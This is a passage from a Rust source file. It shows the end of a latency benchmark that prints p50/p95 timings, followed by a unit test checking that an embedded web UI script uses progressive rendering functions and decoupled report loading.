24136 first.sort_by(f64::total_cmp);
24137 total.sort_by(f64::total_cmp);
24138 let n = first.len();
24139 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24140 println!(
24141 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24142 first[n / 2],
24143 first[(n * 95 / 100).min(n - 1)],
24144 total[n / 2],
24145 total[(n * 95 / 100).min(n - 1)],
24146 samples[0].2
24147 );
24148 }
24149 }
24150 }
24151
24152 #[test]
24153 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24154 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24156 assert!(APP_JS.contains("function nextRunRequest(id)"));
24157 assert!(APP_JS.contains("function runShell(id, summary)"));
24158 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24159 assert!(APP_JS.contains("function taskShell(id, summary)"));
24160 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24161 }
24162}